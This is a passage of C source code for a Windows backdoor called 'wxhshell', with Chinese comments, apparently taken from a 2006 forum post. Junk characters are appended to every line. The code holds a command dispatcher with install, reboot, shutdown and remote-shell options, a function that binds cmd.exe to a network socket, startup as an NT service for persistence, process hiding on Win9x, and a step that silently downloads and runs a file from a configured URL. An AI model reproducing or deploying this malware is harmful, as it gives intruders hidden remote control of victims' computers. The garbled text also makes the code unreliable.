      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $rr@3H+  
    break; v)_FiY QQ6  
  } ?(d1;/0v>  
  // 安装 Y.Z:H!P);$  
  case 'i': { mS![J69(  
    if(Install()) ~KkC089D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (y.N-I,  
    else {CBb^BP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =dKjTBR S'  
    break; { ,c*OR  
    } kVKAG\F  
  // 卸载 Is }kCf  
  case 'r': { &b5(Su  
    if(Uninstall()) 0^o/c SF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jED.0,+K !  
    else u|Mx}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +D]raU  
    break; 0D@$  
    } v7./u4S|V  
  // 显示 wxhshell 所在路径 LFHJj-nk  
  case 'p': { t4v'X}7q]  
    char svExeFile[MAX_PATH]; Q#SQ@oUzD  
    strcpy(svExeFile,"\n\r"); $>O~7Nfst7  
      strcat(svExeFile,ExeFile); !1=OaOT  
        send(wsh,svExeFile,strlen(svExeFile),0); !f52JQyh  
    break; $'Mf$h  
    } ;2 &"  
  // 重启 +#BOWz  
  case 'b': { ^ `Ozw^~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QNU~G3  
    if(Boot(REBOOT)) fpo{`;&F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ]gcOMC  
    else { \2a;z<(  
    closesocket(wsh); EXVZ?NG  
    ExitThread(0); eU%49 A  
    } ?%Nh4+3N>  
    break; [t fB*m5  
    } ~BJE~  
  // 关机 Pm/i,T6&\  
  case 'd': { *4`5&) `  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AK&>3D  
    if(Boot(SHUTDOWN)) J$1H3#VV G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \b(&-=(  
    else { Ta?}n^V?;  
    closesocket(wsh); N2A6C$s  
    ExitThread(0); -W('^v_*  
    } ;;+AdN5  
    break; ;j1E6  
    } `<se&IZE  
  // 获取shell ~d]v{<3  
  case 's': { SU~.baP?  
    CmdShell(wsh); ~i%=1&K&`  
    closesocket(wsh); &U]/SFY  
    ExitThread(0); <O'U-. Gc  
    break; fy"}# 2  
  } C){Q;`M-<  
  // 退出 {E Ay~lo  
  case 'x': { H2R3I<j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \'j(@b,  
    CloseIt(wsh); &Z]}rn  
    break; Z@+nkTJ9&t  
    } <nbk lo  
  // 离开 EyPJ Jc8  
  case 'q': { s~ 8 g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2Wluc37  
    closesocket(wsh); Vl5>o$G|<.  
    WSACleanup(); o$.#A]Flb  
    exit(1); >{Hg+/  
    break; ")uKDq  
        } $]E+E.P  
  } g[pU5%|"[  
  } ~KS@Ulrox  
Zhfg  
  // 提示信息 @y;VV*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \~,\|  
} (Fzy8 s  
  } 'A:Y&w"r  
:\"0jQ.y|  
  return; )f:i4.M  
} 2\1+M)  
'|ntwK*f  
// shell模块句柄 nahq O|~  
int CmdShell(SOCKET sock) AtCT  
{ `3T=z{HR9g  
STARTUPINFO si; *GE6zGdN  
ZeroMemory(&si,sizeof(si)); }UW*[dCf>C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ! s =$UC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gE\ ^ vaB  
PROCESS_INFORMATION ProcessInfo; '1b 1N5~  
char cmdline[]="cmd"; jC>ZMy8U)4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X13+n2^8]  
  return 0; 'M"z3j]m-,  
} St%x\[D  
KUZi3\p9W>  
// 自身启动模式 0@ "'SKq  
int StartFromService(void) 'xqyG XI  
{ ?Cf'IBpN  
typedef struct mgx|5Otg  
{ ~+4lmslR  
  DWORD ExitStatus; *Sj) 9mp  
  DWORD PebBaseAddress; u$%C`v>  
  DWORD AffinityMask; %MHL@Nn>e  
  DWORD BasePriority; BNdq=|,+"  
  ULONG UniqueProcessId; jJiuq#;T3  
  ULONG InheritedFromUniqueProcessId; X.4WVI  
}   PROCESS_BASIC_INFORMATION; U%:%. Bys  
; D<k  
PROCNTQSIP NtQueryInformationProcess; [#gm[@d,  
?l6yLn5si^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .euA N8L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @9 S ::  
*J[ P#y  
  HANDLE             hProcess; vm+3!s:u  
  PROCESS_BASIC_INFORMATION pbi; ZSQiQ2\)  
Sr6'$8#>Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fL2P6N@  
  if(NULL == hInst ) return 0; !ZUUn*e{5  
|(%<FY$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )m7%cyfC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x!GDS>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g3kbsi7_:  
Gpxp8[ {  
  if (!NtQueryInformationProcess) return 0; U!|)M  
lot`6]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nzaDO-2!  
  if(!hProcess) return 0; #VX]trh,  
wd*B3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jV*10kM<  
a8T9=KY^  
  CloseHandle(hProcess); e x Z/  
5CK\Z'c~!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]" V_`i7Z  
if(hProcess==NULL) return 0; a.%ps:  
g]&fyB#  
HMODULE hMod; 3 twA5)v  
char procName[255]; W'vekuM  
unsigned long cbNeeded; }V] b4t  
A` _dj}UF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yy{YduI  
X:Z3R0  
  CloseHandle(hProcess); J8Wits]A]$  
]}/Rl}_  
if(strstr(procName,"services")) return 1; // 以服务启动 1<m`38'  
`e'wW V  
  return 0; // 注册表启动 +C!GV.q[  
} K]$PRg1| 3  
}b54O\,  
// 主模块 N@PwC(   
int StartWxhshell(LPSTR lpCmdLine) p}pRf@(`\  
{ .S,E=  
  SOCKET wsl; +g?uvXC&  
BOOL val=TRUE; > .NLmzUX  
  int port=0; e+BZoK ^  
  struct sockaddr_in door; M4)U [v  
n[DRX5OxR'  
  if(wscfg.ws_autoins) Install(); l GYW[0dy  
ddN(L`nd  
port=atoi(lpCmdLine); eoww N>-2C  
Tfh2>  
if(port<=0) port=wscfg.ws_port; /A0_#g:2*#  
iqB5h| `  
  WSADATA data; fe yc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *bp09XG  
*D%w r'!>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BmpAH}%T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "v?F4&\ 8  
  door.sin_family = AF_INET; 0 ^>,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P,pC Z+H  
  door.sin_port = htons(port); #:BkDidt2v  
\12G,tBH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {?lndBP<  
closesocket(wsl); z**2-4 z  
return 1; (mP{A(kwJ  
} \ejHM}w3,  
tm5{h{AM  
  if(listen(wsl,2) == INVALID_SOCKET) { rVP\F{Q4Tr  
closesocket(wsl); 0e0)1;t\  
return 1; H'#06zP>5  
} h9 DUS,G9,  
  Wxhshell(wsl); {K+f& 75  
  WSACleanup(); grE(8M  
0#TL$?=|  
return 0; sTP\}  
8?LT*>!  
} 2Pm}wD^`  
5B)&;[  
// 以NT服务方式启动 39O rY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G8vDy1`q6  
{ G 3U[)("  
DWORD   status = 0; X[ Ufq^fyA  
  DWORD   specificError = 0xfffffff; 99*k&mb  
j|pTbOgk%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TO G4=y-N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?`e@ o?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GFLat  
  serviceStatus.dwWin32ExitCode     = 0; a6 vej  
  serviceStatus.dwServiceSpecificExitCode = 0; _ab8z]H   
  serviceStatus.dwCheckPoint       = 0; iwM xTty  
  serviceStatus.dwWaitHint       = 0; A'`F Rx(  
=| T^)J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mOj; 0 R  
  if (hServiceStatusHandle==0) return; .g}N@  
BNJ0D  
status = GetLastError(); Z:^#9D{  
  if (status!=NO_ERROR) M>5OC)E  
{ XcT!4xG0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DqWy@7 a  
    serviceStatus.dwCheckPoint       = 0; C~4SPCU  
    serviceStatus.dwWaitHint       = 0; E0RqY3  
    serviceStatus.dwWin32ExitCode     = status; {Ni]S$7  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ojz'p5d`>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lqxh y s  
    return; vrb@::sy0T  
  } v\|jkzR5Y  
`w#VYs|k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nxV!mh_  
  serviceStatus.dwCheckPoint       = 0; \{ | GK  
  serviceStatus.dwWaitHint       = 0; 0<v5_ pB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PP$2s]{  
} AP%R*0]  
>?K=l]!(*  
// 处理NT服务事件,比如:启动、停止 #z>I =gl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Pl/Xh03E  
{ /7"V~c6  
switch(fdwControl) VsSAb%  
{ v#{Nh8n  
case SERVICE_CONTROL_STOP: U - OD  
  serviceStatus.dwWin32ExitCode = 0; ^G`6Zg;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l4i 51S"  
  serviceStatus.dwCheckPoint   = 0; GdUsv  
  serviceStatus.dwWaitHint     = 0; Wap4:wT  
  { {.kIC@^O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'gor*-o:wu  
  } Kd 1=mC  
  return; 3'x>$5 W  
case SERVICE_CONTROL_PAUSE: v@Eb[7Kq/1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Kkovp^G  
  break; aHu0z:  
case SERVICE_CONTROL_CONTINUE: %XN;S29d5W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -h7ssf'u[  
  break; ]QR]#[Tn'  
case SERVICE_CONTROL_INTERROGATE: b#N P*L&  
  break; vdn)+fZ;   
}; >}F$6KM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7"2BZ  
} 7/a7p(   
>b"@{MZ@t  
// 标准应用程序主函数 ,N:^4A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,w6?Ap  
{ 4|&/# Cz^Y  
C zw]5  
// 获取操作系统版本 :'%|LBc0  
OsIsNt=GetOsVer(); oQh;lb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r=3`Eb"t  
iJhieNn  
  // 从命令行安装 e eN`T&cI  
  if(strpbrk(lpCmdLine,"iI")) Install();  kSEA  
N KgEs   
  // 下载执行文件 kM4z %  
if(wscfg.ws_downexe) { sryA(V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X=-=z5  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2~/`L=L  
} XdDQ$'*X  
SujEF` "  
if(!OsIsNt) { CC!`fX6z>h  
// 如果时win9x,隐藏进程并且设置为注册表启动 Pi=FnS  
HideProc(); aWimg6q  
StartWxhshell(lpCmdLine); ~SBW`=aP}  
} A@|Z^T:  
else ^_v94!a 9  
  if(StartFromService()) P=EZ6<c3&  
  // 以服务方式启动 Gi-pi=#&cs  
  StartServiceCtrlDispatcher(DispatchTable); Ht+roY  
else <w}i  
  // 普通方式启动 lwt,w<E$  
  StartWxhshell(lpCmdLine); I`XOvSO  
-"ZNkC =  
return 0; V^FM-bg%9  
}
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只看该作者 1 发表于: 2006-10-10
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